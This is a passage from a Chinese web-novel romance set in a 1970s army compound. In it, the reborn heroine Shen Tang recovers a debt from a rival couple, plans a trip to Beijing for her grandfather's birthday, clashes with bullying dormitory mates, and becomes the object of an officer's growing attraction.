张小妹立马怂了:“周主任你可别污蔑我,我这算什么投机倒把,我就是热心了点,不介绍就不介绍嘛,时间不早了,我还有地没翻,不跟你们说了。” 说完,像是有人在屁股后面追似的,一下子就没了踪影。 沈棠没忍住咧嘴笑了下。 周玲不客气白了她一眼:“你也是,好好的姑娘干嘛非得找二婚带孩子的?姐夫他们要是知道,腿给你打断。” 沈棠忙保证:“我知道错了小姨,之前是年纪小不懂事,现在我想明白了,我才刚刚工作,年纪还小呢,找对象这事在过两年也不迟。” 周玲这才满意了:“你心里有数就行,那包子别喂给红梅吃了,她早上吃过了,还要留着肚子吃晚饭呢。” 小家伙听了使劲点头,摸了摸自己小肚子:“对,我晚上要喝鸡汤。” 周玲笑了笑:“红梅真聪明。” 小家伙羞的一下捂住脸,玩泥巴去了。 沈棠想起一件事来:“小姨,你说我下个月请假回首都可行不?” 周玲正在擦桌子,扭头看了她一眼:“回首都干啥?这一来一回至少要个把星期,你刚入文工团,这时候可不好请假。” “下月十三,我爷爷去七十大寿。” 原身出身军人世家,爷爷是副司令,父亲是首都军区*师师长,母亲是首都大医院里的骨科主治医师,大哥小小年纪就进了研究院,娶的嫂嫂也是军医,二哥三哥也在各自领域发扬光大。 作为家里唯一的女儿,沈棠自然是被娇宠长大的。 奈何原身重生后一心只有韩忠国,对于沈家被陷害下放之事从没提醒过父母。 她占据了原身的身体,可不打算去当韩忠国的舔狗,但沈家还是要帮的。 从原身的记忆得知,沈老爷子大寿当天会遭人举报,革委会的人不仅在原身家里搜出了大量外国书籍,那些书籍中还夹杂着让沈家倒台的证据。 沈老爷子当场被气吐血,没过几天就病逝了。 没了老爷子庇佑的沈家,原身父母皆被撤了职,下放到了最艰苦的地方,几个哥哥嫂嫂也被连累。 二叔一家及时与子女登报脱离关系,却也只保住了最小的儿子 沈家小辈们几乎死的死,残的残,哪怕十年之后被平反,沈家也因此没落。 原身当时能保住,是沈母和她登报断绝了关系,让她匆匆与韩忠国结了婚才躲过下放的命运。 她想要救沈家,就必须先保住老爷子的命。 第一卷 第7章 还钱 周玲眉头紧锁:“可这种时候不兴过大寿啊,你爷爷咋想的?” “就自家过一下,小姨你回去不?” 她记得周家和沈家是世交来着。 周玲摇头:“家里一堆事,这千里迢迢的,我哪有时间回去?” “行吧,晚上我跟你姨夫说说,看看能不能帮你多请几天假,不过你这几天得好好练习,不然你团长不同意,那我也没办法。” 沈棠刚来文工团没两个月,这时候为了长辈的寿辰请半个月假肯定是不行的,除非方政委帮她说情。 沈棠心中一喜,脸上绽放出笑容:“知道了小姨,我来掰豆角吧。” 说完,她就把小姨的腿边的木桶拿了过来。 “你呀,经历这一回总算是懂事了些。” 周玲洗干净抹布,想着天热,她又去烧了几壶水,放凉了好晚上喝。 壶子刚放上灶台,就有婶子来找她了,说是院子里两个新来的军嫂又吵起来了,让她过去调解一下。 因为要照顾沈棠,周玲今天也请假没上班,听到家属院又有人吵架,擦干手上的水就出去了。 沈棠没去看热闹,毕竟灶上还烧着水呢。 豆角不多,她一会儿就摘好了。 逗了一会儿小家伙,就瞧见何秋和韩忠国并排走了进来。 “棠棠,你病好些了没?” 沈棠对他们二人一点好脸色都没有:“客气话就别说了,赶紧还钱。” 何秋看见院子里就沈棠和三岁奶娃娃方红梅,能说会道的周玲还没回来,眼底闪过一抹算计。 “棠棠,咱们这么多年感情,你难道真的要和我绝交吗?” 沈棠见她说红眼眶就红眼眶,心里感叹,这演技真是吊打现代一众娱乐圈小生啊。 “这么多年感情,你还不是说背刺就背刺我,怎么着,今天两位是趁我家长不在,想不还钱了?” 说到还钱,何秋委屈的眼神里闪过一丝怨恨。 她拉了拉韩忠国衣袖:“韩大哥,你先出去,我有些私话想对棠棠说。” 韩忠国想要警告一番沈棠别欺负何秋,可对上她清冷傲气的褐色眼眸,不知为何到嘴边的话一下子就散了。 院子里就剩下沈棠和何秋,以及在旁边玩泥巴的小家伙。 四下无别人,何秋也不装了,刚刚还柔弱可怜的神情变的轻蔑嚣张,连语气都带着嘲讽:“沈棠,你很伤心吧?” 沈棠拧眉:“伤心什么?” 何秋嗤笑:“别装了,我抢了你喜欢之人,你现在一定恨死我了吧,可我也没办法,谁让韩大哥就喜欢我呢。” 她仔细盯着沈棠的眼睛,发现她的眼里除了厌恶并没有其他情绪,顿感疑惑。 难道沈棠没有重生? 想到上辈子沈棠对韩忠国也是一见钟情,何秋悟了,自认为找到了沈棠对韩忠国执着纠缠的原因。 她心头微松,倒不是怕沈棠和她有一样的奇遇,而是离沈家倒台越来越近,她不希望出现变革。 来部队当天她就买通了人,有意无意的韩忠国面前透露,这次来部队探亲的人里有一位姑娘是首都军区师长的女儿。 相亲的时候,何秋并没有直接用这个身份,而是在韩忠国面前透露自己出身军人家庭,隐晦的误导了他而已。 当然,她不认为自己是撒谎。 她爷爷曾是沈老爷子手下的兵,只是早已退休罢了。 这样一来,韩忠国即使发现了不对也不关她的事。 况且只要下个月沈家倒台,韩忠国就会庆幸选了她。 想到沈棠即将面临的下场,她忍不住扬起得意的嘴角。 沈棠舔了舔后槽牙,这玩意在发表什么白莲花言论? 那老男人谁要谁倒霉好吧。 原身沈棠上辈子可是活生生累死的,连父母给她的钱都全部倒贴了进去,反倒是韩忠国自己的津贴全部送回了老家或者给了战友的遗孀。 这也是为什么韩忠国在上辈子名声极好,人脉极广的原因。 那都是用钱砸出来的啊! “恨你?我只恨我自己眼瞎,竟不知你是这样的人,何秋你别耍什么心机,欠钱还债,四百块,不二价!” 何秋声音尖锐:“四百块,你怎么不去抢?” 沈棠当场算起了账:“你家里本来就不富裕,父母又只疼爱你两个哥哥,从不给你钱用,你身上穿的的确良、头发戴的花绳、抹的雪花膏,从初中开始每个月三到五块的零花钱,哪一样不是借的我的钱? 你来部队的车票,还有你给韩营长三个小孩买的大白兔奶糖,麦乳精、衣服鞋子都是从我这里借的钱,林林总总,加起来绝对不低于四百。” 何秋这才想起前世自己刚上完初中,她那重男轻女的爹妈就不打算让她继续读了。 是沈棠每个月都借钱给她,帮交了学费,才让她上完高中。 父母知道她攀上了大院的人,对她也有了几分好脸色。 哪像她妹,小小年纪就是家里的边缘,不仅要洗衣做饭,打扫卫生,初中都没能上完就被改了年龄报名下乡了。 但四百块她根本拿不出来。 何秋慌了一瞬,又极快冷静下来,沈棠没有借据! 沈棠换抱着双臂,翻了个白眼,小嘴巴开怼:“呵,你一撅屁股我就知道你在想什么,别想着赖账,你上初中高中的钱全是我借给你的,我爸妈知道,你爸妈也知道,你不还也得还! 不还我就闹,我看你以后还怎么在家属院做人!” 第一卷 第8章 贺旭:是我太空虚了? 何秋本打算赖账,听了她这不要脸的话心头一惊。 她还骗着韩忠国呢,没扯证之前,绝对不能让韩忠国知道自己只是普通工人家庭出身。 “对了,还有我的表。” 沈棠回想起原身来部队之前买的上海牌手表,才戴了一天就被何秋借走,顿时心疼坏了。 这些现在可都是她的宝贝! 谁知道何秋听到手表二字,条件反射的将手缩了回去。 但眼尖的沈棠已经看到了手表屏幕碎裂的痕迹,气的她腮帮子都鼓起来了,伸手就去抓她的手。 “何秋,你把表还我!” 何秋用力挣扎,一不小心就踩中小家伙的破碗,摔进了小姨刚洗过抹布的盆子里,被污水浇了一身。 沈棠没忍住,笑出了声。 小家伙“哎呦”了声,捂着双眼,偷偷露出一条缝,眨巴着大眼睛继续看戏。 门口的韩忠国听到动静,走进来见到何秋一身狼狈,怒气一下沸腾上来:“沈棠,你又在欺负何秋!” “我欺负你大爷!” 沈棠恶狠狠的吐出一句,成功把韩忠国给干脸黑了。 “蛮横无礼!” “你有礼,欠被别人钱不还真有礼。” 韩忠国差点没被气的晕过去。 他低头看向何秋,锐利的眼神满是质问。 何秋:“……我身上没那么多钱。” 沈棠一听顿时不干了,那可是四百块,差不多是她全身家当的一半! 不过何秋连车票都要原身帮忙,手里确实没钱。 沈棠褐色清瞳在韩忠国身上转了转。 现成的冤大头啊。 “她拿不出来,想来韩营长作为何秋同志的未婚夫,应该愿意帮她还债吧?” 韩忠国心头烦躁:“她欠你多少钱?” “六百。” “六百!” 韩忠国瞳孔微缩,他一个月工资也才89块。 沈棠微抬下巴:“手表加票两百块,和我刚刚算的账,一共六百,何秋同志,我算的不对吗?” 何秋不敢说不对,就怕沈棠为了求证戳穿她的身份。 她眼巴巴的望着韩忠国,手表为什么会坏,还是因为他家小孩调皮挣抢着要看才摔坏的。 韩忠国无视掉何秋的眼神。 六百块,那简直就是在割他的肉。 他养了三个孩子,老家要寄三分之一的工资,平日里战友的遗孀有困难他也要伸手帮忙,能留下的钱本来就不多。 就算给何秋彩礼,他也顶多能给到两百,再多的就没有了。 婚还没结呢,何秋在他心里就是个外人,根本不值得他拿出六百块。 何秋脸上闪过难堪,好言好语的低声恳求:“忠国,你信我吗?这钱我到时候会还你的。” 韩忠国想到何秋昨天跟他解释的话,心里一顿纠结。 “韩大哥!”何秋撒娇的摇着他的手臂。 韩忠国忍着她身上散发出的馊味,又默念了句舍不得孩子套不着狼,这才松了口。 不过这六百块钱也不是说拿就能拿的。 何秋要是没工作,家里恐怕连窝窝头都要吃不起了。 “沈同志,这钱可以还你,但我希望你以后不要在针对何秋。” 沈棠嗤道:“什么叫我针对何秋,韩营长,就算是抓到犯人也需要审讯才能给对方定下罪名,你既然说我针对何秋,那你倒是说说我怎么针对她了?” 韩忠国冷声道:“何秋参加初中考试之时,有人看见你小姨去了学校。” 何秋原本还开心韩忠国帮她说话呢,听到这句话立马就心虚了。 沈棠瞥了她一眼:“所以呢?那学校是龙潭虎穴,我小姨去不得?” 见她还不承认,韩忠国也没了耐心:“顶替之事在外面我管不着,可在军区里,方政委和周主任敢滥用职权……” “那你就去举报吧。” 院子门口传来一道懒散之声。 韩忠国回头望去,就见提着两斤五花肉的贺旭迈着大长腿走了进来,桀骜不训的脸上勾着笑,眸光却寒凉刺骨。 “我说韩营长,你也是三十岁的老男人了,能不能有点判断力? 初中数学老师招生,是初中所有数学老师一起改卷,你说顶替?怎么顶替? 把考试的人试卷名字换了? 那些试卷可是收上来就现场改了,名额当天就定下来,第二天公示。 怎么,你家婆娘没有被通知到,就可以质疑整个初中老师的公正?质疑咱们家属院的婶子都针对你家那个还没当上军属就嚷嚷着要占部队便宜的婆娘?” 韩忠国越听脸色越黑,一口一句婆娘,这人到底有没有受过教育? “贺营长,请你放尊重点!” 贺旭勾唇冷笑:“我还不尊重你啊,你这是上天吗?非得让我和尊重团长、政委、师长一般尊重你。 你家婆娘还不是军属呢,本来就没资格去参加面向军属的招生考试。 占了便宜学不乖,没点本事赖别人算计你,合着军区是你家,便宜任你占,没占到就是咱们不公正,你咋不告到师长面前去,回头也让我在通报上瞧瞧你的名字。” “行了,今天之话就当我没说!” 韩忠国不想与贺旭争辩。 贺旭手段阴狠,不仅和方政委交好,连师长也对他另眼相待,二十三岁便已经是野战区的兵王,听说家世背景很强大,不是他一个农村小子能惹的起的。 六百块就当是何秋的彩礼,何秋跟他保证过,他父亲虽然重男轻女,但母亲很疼爱她,到时候会给她添一些丰厚的嫁妆,这笔钱她会用在他们这个小家里。 韩忠国在心底算清,从口袋里掏出六百块钱卷成一团扔给沈棠,甩手就走了。 何秋只好再次巴巴的跟上去。 谁知道韩忠国越走越快,她连走带跑都差点没跟上。 何秋享受了半辈子的悠闲生活,哪里被人这样甩过脸。 气的她在心里狠狠诅咒了一顿沈棠,又幻想了下自己未来会成为市长夫人的高贵模样,才忍着脾气舔着个笑脸去哄人。 沈棠拿到钱,开心的眼睛都弯了弯,她坐在院里子数了数,刚好六百块,真不知道韩忠国怎么会在身上带这么一大笔钱。 加上原身压箱底的一千块,这回她彻底成了小富婆了。 转头,她就抽出五块钱递给了贺旭:“这是还你的,多谢你帮我说话。” 明明长相清冷的姑娘,偏那嗓子却软娇绵柔,贺旭听的心头痒痒,一想到昨夜做的梦,脸一下就黑了。 沈棠被他突然变脸吓了一跳,结结巴巴的问:“五、五块不够吗?” 昨天那鸡汤里确实有不少肉,可是五块都能买一只鸡了呀。 难道是原身记忆出错了? “多了。” 贺旭懒的理她,从里面抽出一张一块钱,提着肉绕过她往厨房里走。 鸡汤是他送的,这钱他不要。 一块钱医药费那是帮她出的,又不是自己女人,自然要还他。 留在她手里,回头铁定得给哪个野男人用了。 沈棠是个你不搭理我,我也不会凑上去贴你冷屁股的人。 贺旭那样子明显就是不想和她说话,为了避免尴尬,她干脆拿了花绳招呼小家伙过来一起玩。 小家伙还挺爱干净,自己洗了手才过来。 奶声奶气跟她说:“我超厉害哒。” 沈棠笑不可遏:“你超厉害呀,那姐姐可不让你了哦?” 小家伙哼了声,板正脸色:“来吧,谁输谁就是小狗。” 然后沈棠赢三局放水一局,一句“你好厉害呀”“姐姐被你打败了”把的小家伙哄的吊成了翘嘴,傲娇的抬着小脑袋。 门口的热闹惹的堂屋里某个人频频偷望。 清冷美人的笑纯洁又甜美,勾人夺魄,贺旭一时竟看呆了去。 等回过神来,他耳尖微热,心头却是烦躁的低声骂了句:“幼稚。” 第一卷 第9章 麻烦婶子给我介绍对象 贺旭不是个禽兽,他对自小当妹妹看待的人下不去手。 心想着自己这两天反常莫不是因为太过空虚了? 他也不是不想找对象,只是觉得男人大好年华就应该建设国家,哪能在儿女情长上耽搁? 如今自己已经二十三了,也确实到了找对象的时候了。 贺旭心不在焉的想着,相亲对象最好是长发的,身材也得好点,性子要软点,但心里绝不能有人,免得两个人一言不合就吵架,他还得谨防戴绿帽子。 他余光瞄着某人,又笨又怂的姑娘,被人卖还不知道,谁喜欢谁是傻子。 沈棠被盯的如芒刺背、如坐针毡。 汗毛都立了起来。 愣是在门口晒了半天太阳,也没敢进屋。 终于等到小姨小姨父和几个表弟表妹放学回来。 沈棠内心的小人崩溃大哭。 真真是救星啊! 以后她再也不要欠贺旭钱了! 这男人又装又抠门,自己舔着个脸不要鸡汤钱,真不给他了,那眼神盯着她像是要盯穿似的,太恐怖了。 她赶忙走上前,和几个人打招呼:“小姨父,你们回来了啦。” 她见方红花手上还拿着菜篮子,连忙过去接:“我帮你拿吧。” 方红花眼睁睁的看着她把东西拿走,震惊的和方红莲对视了一眼。 懒货表姐今天打西边出来了,还会主动帮人做事? 方红花昨日对这个表姐已经改观了一点,但老妈的一顿训斥,把她心里刚升起的一点好感全变成了怨念。 不就骂了沈棠一句懒货,她妈至于拧着她的耳朵就是一顿竹板炒肉吗? 方政委一家回来,贺旭也放下手中搪瓷杯,站起身打招呼:“婶子,政委。” 方政委拍了拍他肩膀:“不错啊,在你这个年纪升到营长的,我还没见过几个,腰上的伤好点了没?” 沈棠抬头看了他一眼,这人受了伤?没看出来呀。 贺旭也不知怎的,一下就抓住了她的视线,心里荡起的丝丝涟漪,又快速平静下来。 “好多了,再换两次药就能去训练了。” “身体要紧,好全了再训练也不迟,你这孩子就是太拼了。” 方政委一屁股坐在凳子上,从茶壶里倒了一杯水,悠哉悠哉的喝着。 “今早你爷爷打电话过来,问你什么时候休假,我寻思着你也几年没回去过了,要不这次趁着受伤不能参加训练,我跟师长提一提,让你休假一个月,回去看看他老人家。” 贺旭参军几年了都没有回去过,催他回去也不过是想给他相亲罢了。 往常他是不耐烦的。 家里一堆烂事,回去总算计个不停。 但想起自己本来就有意相亲,回去把老爷子留下的东西拿回来给未来媳妇也好,免得给那对夫妇糟蹋了。 “行,谢谢政委。” 沈棠耳朵动了动,抬头看向小姨,后者给了她一个安心的眼神,便继续切菜。 周玲是在南方长大的,手艺很好,晚上做了白菜炖肉、红烧肉,一只鸡分了两半,一半煲了汤,一半炒了豆角,再炒了几个青菜,这么丰盛的菜他们也就过年吃过两回。 几个孩子馋的眼睛都舍不得眨一下,吃的嘴巴都不带歇的。 周玲手疾眼快的将两个煲了许久的鸡腿夹出来给了沈棠和方红梅这小家伙。 部队不允许喝酒,方政委最大的爱好便是喝茶,今夜以茶代酒和贺旭喝了半天。 “这次回去,可别急着把对象定下来,你如今这个年纪,有这个前途,势必是要往前走的,你爸那人我也知道,要是他听你后妈给你定下亲事,这事你爷爷要是不管,你回来跟我和潭师长说,政审这关就过不了。” 贺旭勾了勾唇,一双眸子星光璀璨:“政委,您放心,他们两个可不管着我。” 方政委嗤之以鼻:“你这小子平日里就狂,再聪明的人也难躲暗箭,防人之心不可无,万一出了点事,我和潭师长也保不住你,在外行事,还是要低调点。” 贺旭点头:“是,听政委的。” 方政委一听就知道这小子是左耳进右耳出。 “你也老大不小了,不如让你婶子给你介绍些相亲对象,也免得让首都那边的人老是惦记,我看沈棠就不错,你们俩又差不多大……嘶——” 方政委被周玲狠狠踩了一脚,龇牙咧嘴的抽气。 “吃你饭吧,肉都堵不住你的嘴。”周玲翻了白眼。 贺旭这小子虽然是个好兵,但家里一团糟,她可不想让自己侄女嫁过去。 再说了,这两人要有这意思早就有了,还能等到现在? 沈棠刚和何秋闹翻,好不容易从韩忠国身上移开,她还想介绍几个文艺青年给侄女认识呢。 当兵的不行,方政委平日里不用出任务,两个人照顾五个孩子依旧会累的腰疼,更别说嫁给当兵的了,多少日子都是独守空房,孩子有点不舒服还得自己带着去医院,连个搭把手的人都没有。 沈棠听的耳尖发红,尴尬的都快把脸埋进碗里去了。 贺旭这人又混又痞,可那张脸确实生的好,她上辈子没谈过恋爱,也见过长的这么优质的男人,心里多多少少也是有点看颜下菜的动心。 贺旭沉默了片刻,像是下定了决心,开口道:“等从首都回来,麻烦婶子给我介绍了。” 第一卷 第10章 我真是疯了?! 周玲喜笑颜开:“好好好,婶子一定给你找个知心可人的姑娘。” 沈棠心底那点涟漪也渐渐散去,贺旭这么说,大概是对她无感了。 也对,她和原身的性子那般像,这人要是能喜欢她,怎么会和原身这么多年都没交集。 这年头的优质股比现代还少,她要不要也提前物色个对象? 七零年代可不比现代,在现代一辈子不结婚也没人管,在这里不结婚只怕是要被人戳脊梁骨。 她并不是一个多强势的女人,比起逆反着来的大女主人生,她更喜欢在随波逐流中寻找一个最舒服的环境,像条咸鱼一样躺一辈子。 正想着,周玲话锋一转,对方政委道:“沈老爷子下个月大寿,你帮棠棠请半个月的假吧。” “下个月几号?” “十三。”沈棠回。 方政委点头:“那行,到时候你和贺小子一起回首都,我也不用让警卫员送你了。” 沈棠听到方政委应下,红唇微抿,露出一丝笑意:“谢谢姨父。” 方政委喝了一口茶,又聊到她的终生大事:“韩忠国那边你也别惦记了,让你小姨再给你找个相亲对象,你性子软弱,还是找个温和的点人好。” 沈棠正有此意,比起像贺旭这样桀骜不训的,她还是更喜欢会体谅她的温谦君子。 原身对韩忠国的喜欢从不掩饰,即使昨天她已经解释过了,知道原身有多痴迷韩忠国的小姨一家也只当是她为了面子找的借口。 沈棠觉得这种事没必要强行解释,年轻的时候谁还没喜欢过几个人了? 只要她不再纠结韩忠国,愿意重新相亲,想必之前的事也会被人渐渐忘却。 “好,那麻烦小姨了。” 说完,她将碗里的红烧肉夹起吃掉,口感软嫩即化,肥瘦中和,不油不腻,香的她眼睛都眯了起来。 小姨手艺真是太好了。 她一个不喜欢吃肥肉的都喜欢吃红烧肉了。 鸡汤也好喝,她上辈子在出租房里从来没有煲出过这个味道,果然还是自己养的土鸡才好吃。 贺旭看着少女腮帮子鼓鼓囊囊,清亮的眼睛绽放着欢喜的神色,不知为何,心里竟冒出了点不爽。 没心没肺的怂包。 越是看起来温柔谦和的人,手段才越是狠辣,她也不怕被人卖了。 用完晚饭,沈棠就要回宿舍了。 文工团离家属院不远,她也没让小姨送,自己收拾好晒干的衣服就打算走夜路回去。 说是夜路,其实也还早,现在才傍晚七点,天色还没完全暗下来,路上到处都是因为炎热而出来散步的人。 贺旭也要回宿舍,和她刚好是一条路,两人一走回去,遇到散步的婶子,那眼神看的她莫名其妙。 快到文工团宿舍楼下,她瞧见贺旭还跟在她身后。 沈棠咬了下唇,小声提醒:“贺营长,你是不是走错路了?” 贺旭睨了她一眼:“你看我像傻子吗?” 沈棠:“不、不像。” 就算像,她也不好意思说呀。 两人又走了一段路,贺旭看着低着头、怂成包子的沈棠,心里嗤笑。 “很怕我?” 沈棠一时没反应过来,随即意识到他在问她是不是在怕他,看着眼神锐利的和野兽似的男人,立马摇头。 贺旭这才认真的看了她一眼:“既然不怕,怎么不说话?” “……没啥好说的。” 也许贺旭自己也没发现,他身上那股桀骜的倔强劲非常吸引人,但也给人一种难以接近的感觉。 沈棠是个不爱惹事,也不愿招惹爱惹事的人。 贺旭这种,一看就知道未来会很多女人纠缠的麻烦人。 她才不想掺和进去呢。 贺旭挑了下眉:“怂包。” 沈棠磨了磨牙,小声嘀咕:“你才怂包,你全家都怂包。” 贺旭眼睛一瞪,沈棠飘忽的眼神立马错开。 “伶牙俐齿,不过有句话你说没骂错,我全家都是怂包。” 沈棠:“……” 头一次见自己骂自己全家的。 终于到了宿舍楼下,沈棠连声音都欢快了几分:“那我先走了。” 贺旭微微颔首,拧眉看着她:“你年纪还小,找对象的事不要急。” 沈棠在心里嘀咕:难怪长的好看,原来是上天给了他一张和大爷似的唠叨嘴。 “好的,您还是快回去吧。” 别在这念叨了,莫名其妙的,又不是她对象。 贺旭看着小姑娘纤细轻快的背影往宿舍楼走去,她似乎不爱扎头发,微卷的长发总披散在身后,走起路来微微摇晃,还带着一股冷香。 大概是病了一场,腰身越发的纤细了,冷白的皮肤晃的人眼睛都移不开,白色的衬衫扎在绿色的军裤里,衬的她格外清纯动人。 在这个大都是灰色衣衫的时代,她好像成了一道风景线,永远吸引着他的注意力。 贺旭又一次看入迷,心里更加烦躁了。 走到宿舍,迎面撞上了拄着拐杖回来拿衣服的郝运。 差点摔倒的郝运本想骂人,瞧见自家营长阴沉的脸,吓的到嘴边的话又咽了回去。 “营长,你走那么快干什么,被女人甩了?” 郝运凑近用鼻子嗅了嗅,眼神瞬变,咋呼出声:“这香味……营长你果然约会去了!” 贺旭嘴角一抽:“你狗鼻子吗?” 郝运得意笑笑:“你也不看看我是谁?我想想…… 今天你去方政委家吃饭,往常这时候你早就回来了,晚了大概一刻钟,刚好是去文工团宿舍的路,方政委家就那么一个是文工团的。 我懂了,你肯定是把人送回宿舍了,脸黑成这样,是不是没能得偿所愿啊?” 贺旭黑着脸绕过他,独自走进宿舍。 郝运拄着拐杖跟了上去。 “营长,你也别觉得不好意思,这男大当婚女大当嫁,表白被拒也不是什么大事……” “谁跟你说我表白被拒了?”贺旭皱眉问。 郝运摸摸鼻子,心虚的时候声音都小了:“就…人家刚来的时候,家属院都这么传。” 他本来也是不信的,可贺旭又是着急送人家去医院,又是送人家回宿舍,按照他以往的性子,哪里会这么热心? 还因为人家没胃口就花大价钱从旁人手里买鸡汤,他见了都想偷笑。 贺旭眉头紧皱,出声解释:“那是她爷爷托我照顾她,提前把她的衣服寄了过来,让我帮忙给她送过去。” 郝运双手一摊:“好,那你现在呢,别告诉你不喜欢人家。” 不喜欢人家还巴巴的凑上去,搁着犯贱呢? 贺旭沉默了片刻,眼神如鹰隼睨过去,吐出一个字:“滚。” 郝运翻了白眼,拿起自己的衣服一瘸一拐的走了。 当天夜里,贺旭再次做了个旖旎梦。 梦里的姑娘坐在床上,眼神妩媚勾人,纤细的指节划过他的喉结带起一片涟漪,勾着他的脖子送上红唇。 他捏住她柔软的皓腕,亲吻着那双清冷的褐色眼睛…… 第二天清早醒来,贺旭低头一看裤子。 “艹,我真是疯了!” 连续两天对那小怂包发情。 第一卷 第11章 宿舍矛盾 沈棠回到宿舍,就被一个扎着两条辫子的姑娘挡住了去路。 她双手环抱,趾高气昂看着她:“沈棠,刚刚谁送你回来的?” “关你什么事?” 沈棠还是第一次遇见霸凌之事,她下意识的看向素有老好人之称的宿舍长张娜。 然而对方根本不看她,只顾着和隔壁床的林星说话。 宿舍里的人都知道沈棠看着清清冷冷,实则就是个任人拿捏的软包子,要不是有个小姨在家属院当妇女主任,她早就被欺负死了。 尽管如此,宿舍六个人,有四个人都孤立着她。 谁让她长的好看,才来个两个月时间,就被男兵们表白了好几次,其中还有好几个是排长级别的干部,那都是文工团女兵们看好的相亲人选。 至于剩下张爱娣则是被四人霸凌的对象,只会把矛盾转移到她身上来,恨不得她代替自己被欺负。 “沈棠,你要不要脸,缠着韩营长就算了,贺营长是什么人,你也配他送你回宿舍?”许婷尖锐的声音刺激着沈棠的耳膜。 她揉了揉耳朵,心里的小人气呼呼的:“我不配,你配,你全家都配!” 许婷头一次听到这样骂人的,先是愣了下,随即声音更加尖锐:“有本事你再说一次!” 沈棠瞪大眼睛:还有这种要求? 她深吸一口气,学着小姨的模样两手叉腰,怒吼一声:“我说你是不是有病,人家贺营长是你爹还是你妈,他想送谁就送谁,用得着你来管?” 许婷气急败坏,抬头就要扇她巴掌。 沈棠性子虽然软,但作为一个8G网冲浪达人,在祖国温暖的怀抱里长大的姑娘,面临霸凌者哪会真的被欺负了还不肯还手? 她左手抓住许婷的手,右手反手给了她一个大耳光。 清脆的声音顿时让周围都安静下来。 “你竟敢打我?” 许婷仗着身份,在文工团作威作福,还从来没被人打过。 沈棠这一巴掌下来,直接把她给打懵了。 “你个下三烂的东西竟然敢打我!你信不信我让你在文工团待不下去!” 沈棠眼睛一亮:“主席说了,这个社会是人民的社会,这个国家是人民的国家,在部队里,你竟然还想着用家世欺负百姓,这妥妥就是官僚资本主义啊,我现在就去团长那举报你!” 许婷惊了下,连忙上手抓她。 宿舍长张娜也不敢在袖手旁观了,宿舍女兵欺负人,她作为宿舍长却冷眼旁观,这传出去自己的军途也到此为止了。 林星也赶忙拉住沈棠:“都是一个宿舍的,有什么话好好说就是了,何必闹的这么僵呢。” 许婷仗的谁的势?那可是师长的势! 师长的妻子是她大姨,举报许婷不就是相当于举报师长。 到时候许婷没事,她们可都要吃瘪。 沈棠冷嗤了声,林星摸摸鼻子,就当作没听到。 倒是旁边的张娜眉头紧皱,老好人似的开始解决矛盾:“好了,许婷就是个孩子脾气,沈棠你也别跟她计较。” 沈棠:“谁还不是个孩子呢,我一个年岁十八的小孩子当然要让着年岁二十的大孩子啦。” 许婷刚被狗腿子王晓雨劝消停,一听到她出声讽刺,怒气上头狠狠甩开王晓雨的手,长长的指甲指着她的脸:“你再敢说一句!” 沈棠脸色一下子冷了下来:“你再敢指着我,我就把你的手给折了。” 许婷被她充满冷意的褐色瞳眸吓到,唰的一下把手收了回来。 等回过神来,她脸色尴尬又懊恼,整个人都萎了。 沈棠内心的小人美美的蹦跶了两下,得意的昂起了小脑袋。 哼,怂货! 她绕过众人,拿起自己盆子就出去洗脸刷牙了。 宿舍里的五人各回各床,张娜被甩了面子脸色不好看,张爱娣则是因为没看到沈棠被欺负而愤愤不平。 许婷捂着脸满眼的恨意,心里谋算着怎样才能让沈棠滚出文工团。 王晓雨看到她这副样子,有意无意的说了句:“这沈棠平日里就花钱花的阔绰,也不知道家里怎么样,看她对你这么不客气,说不定大有来头呢。” 许婷冷笑:“不过是仗着有个过街老鼠出身的小姨罢了……” 说到最后,她突然顿住了,如果沈棠的小姨是过街老鼠的女儿,那沈棠家里又能好到哪里去? 等她拆穿了对方真面目,贺旭那样一个大院子弟,又怎么会看上一个爱慕虚荣、家世低微的人? 许婷眼睛一转,家属院不就刚好有个了解沈棠家世的人吗? 沈棠出了宿舍,心情就低落下来了。 原身在文工团没有朋友,文工团的女兵大多也不喜欢她。 一来是因为她长相清丽绝色,衬的其他人好似乡野村妇似的。 二来她性子清冷不爱搭理人,是文工团有名的高岭之花,即使有心想靠近,也没几个人敢。 沈棠想到这里也是头疼,她喜欢独来独往,但没饭搭子怎么行? 人不可能孤独的活着,无论是上学还是工作,都需要融入集体,否则就会被集体孤立,很多需要人帮忙的事就无法做成功。 宿舍里的人她就不考虑了。 关系这么复杂,她已经生了搬出去的念头。 可惜文工团的女兵除非和副营长以上级别的军官结婚,否则根本不允许搬出宿舍。 要不然原身也不会只有放假的时候才会住在小姨家里了。 她拿着盆子打好水,不知何时身侧又来了一个姑娘。 沈棠狗狗祟祟的瞄了一眼,又白又直的大长腿,不愧是舞蹈团的领舞者。 “许婷不是好惹的,你最近小心点吧。”不知道某个人正在偷瞄她的林晓犹豫了下,出声提醒。 沈棠回过神来,诧异的看了她一眼:“多谢。” 两人在文工团的名声都不大好,但林晓宿舍很和谐,平日里从没听见发生什么事。 不像她们宿舍,一天天的就没消停过。 想到这里,沈棠羡慕的同时更加想搬出去了。 副营长以上级别还没结婚的,真是一个巴掌都能数的过来。 沈棠脑海里闪过贺旭玩世不恭、痞气十足的身影,长像倒是符合她的胃口,就是为人抠搜了点,嘴巴毒了点。 结婚的话还有待考察。 等等,她在想什么? 抠唆的男人要不得,嘴巴毒万一用来怼她,她岂不是要被气死? 何况人家对她又没好感。 第一卷 第12章 造谣 沈棠晃了晃小脑袋,将这件事丢到脑后。 等她回了宿舍,其他人连说话都小声了。 一觉睡到天亮,沈棠大清早的就去了练功室。 她是歌唱队的,不用练习多难的舞蹈,平日里只需要将基础舞蹈练好就行。 这年头的人都很努力,这才五点左右,练功室里就有不少人在了,大多数都是舞蹈团的。 为首的林晓更是格外努力,一连十几个后空翻,把沈棠惊的双眸瞪大,这也太厉害了吧。 林晓注意到沈棠的眼神,耳尖有些发红。 她瞥了一眼沈棠,小声提醒:“你动作错了。” 沈棠心里咯噔了下:“哪里错了?” 虽说有肌肉记忆,但她上辈子从来没有练过舞,这会儿练起来到底有些生疏。 林晓见她没有发脾气,便上脚帮她踩着拉伸了下。 下一刻,她就听见沈棠出了杀猪一般的叫声:“痛痛痛,放开放开——” 林晓吓了一跳:“这、这么痛吗?你有多久没拉伸了。” 沈棠抱着大腿哭唧唧:“痛,我仿佛看到了阎罗爷。” 林晓也知道沈棠不适合跳舞,这个原因文工团的女兵们还挺羡慕的。 她看着咬着红唇,眼眶微红抱着自己小腿的姑娘,心想还挺可爱,哪有传说中的高冷。 